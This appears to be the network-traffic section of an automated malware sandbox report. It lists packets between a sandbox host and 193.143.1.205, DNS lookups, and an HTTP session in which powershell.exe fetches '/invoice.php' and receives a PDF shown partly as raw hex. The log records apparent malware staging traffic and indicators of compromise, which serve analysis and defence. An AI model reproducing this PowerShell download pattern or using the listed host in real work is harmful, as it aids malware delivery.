Jan 11, 2025 02:00:29.171909094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.171920061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.171936989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.171960115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.171984911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172123909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172135115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172146082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172162056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172169924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.172185898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.172276974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172288895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172301054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172310114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.172317028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.172338963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.172957897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173002005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.173012018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173024893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173063040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.173139095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173151016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173161030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173176050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.173192024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.173206091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.187664032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.206653118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206670046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206682920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206736088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.206744909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206757069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206767082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206779003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.206799984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.207098007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207110882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207123995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207143068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.207169056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.207226992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207240105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207250118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207262039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.207285881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.207307100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.226401091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226418018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226429939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226443052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226504087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.226536036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.226536036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226556063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226563931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226615906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.226701975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.226742029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.232250929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.234463930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234481096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234492064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234503031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234525919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.234564066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.234577894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234592915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234646082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.234774113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234786034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234797001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234808922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.234818935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.234852076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.235018969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.235032082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.235043049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.235053062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.235068083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.235085964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256082058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256114006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256125927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256227970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256242037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256258965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256285906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256356955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256369114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256401062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256489992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256501913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256513119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256525040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256536007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256541967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256547928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256560087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256587029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256838083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256850958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256865025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256877899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.256886005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.256902933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.257087946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257101059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257107019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257112980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257119894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257217884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.257376909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257510900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257523060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257534027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257544994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257550955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.257555962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257566929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257571936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.257577896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257589102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257600069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257608891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.257611036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.257628918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.257648945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258049965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258063078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258116961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258127928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258130074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258141041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258151054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258152008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258163929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258173943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258186102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258188009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258219957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258234024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258821011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258835077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258846998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258858919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258866072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258868933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258879900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258891106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258899927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258902073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258913040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258923054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258923054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258934021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258944035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258948088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258956909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.258972883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.258991957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.259650946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259664059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259670019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259675980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259680986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259686947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259691954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259702921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259708881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259721041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.259754896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.264854908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.264888048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.264899969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.264918089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.264933109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.265021086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.265033007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.265043974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.265055895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.265059948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.265101910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.266311884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266340017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266350985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266376019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.266498089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266509056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266521931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266545057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.266560078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.266638041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266649008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266659975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.266678095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.309389114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.327445030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.347855091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.347872972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.347884893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.347943068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.347973108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.347986937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348000050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348020077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.348042011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.348135948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348146915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348180056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.348257065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348269939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348279953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348290920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348300934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.348304033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348315001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348331928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.348352909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.348563910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348613977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.348654985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.373059988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373075962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373090982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373110056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373121023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373133898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373145103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.373199940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.373251915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373264074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.373347998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.373347998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.383553028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383569002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383580923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383594036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383618116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.383646965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.383743048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383755922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383766890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383785009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.383902073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383914948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.383951902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.384028912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384038925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384044886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384051085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384057045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384151936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.384274006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384285927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.384411097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.407593012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407610893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407623053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407701015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.407702923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407716036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407727957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407747030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.407767057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.407866955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407932997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.407973051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.408124924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.408296108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.408308983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.408319950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.408330917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:29.408335924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.408364058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.433665991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:29.574112892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:30.036142111 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:30.041131973 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:30.042396069 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:30.042396069 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:30.047298908 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:30.884833097 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:00:30.940109968 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:00:31.395266056 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:00:38.706051111 CET	54451	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:00:38.706051111 CET	192.168.2.5	1.1.1.1	0xfe76	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:00:38.712902069 CET	1.1.1.1	192.168.2.5	0xfe76	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:39.435215950 CET	1.1.1.1	192.168.2.5	0x57a4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6648	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:00:27.613492966 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:00:28.587979078 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:00:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 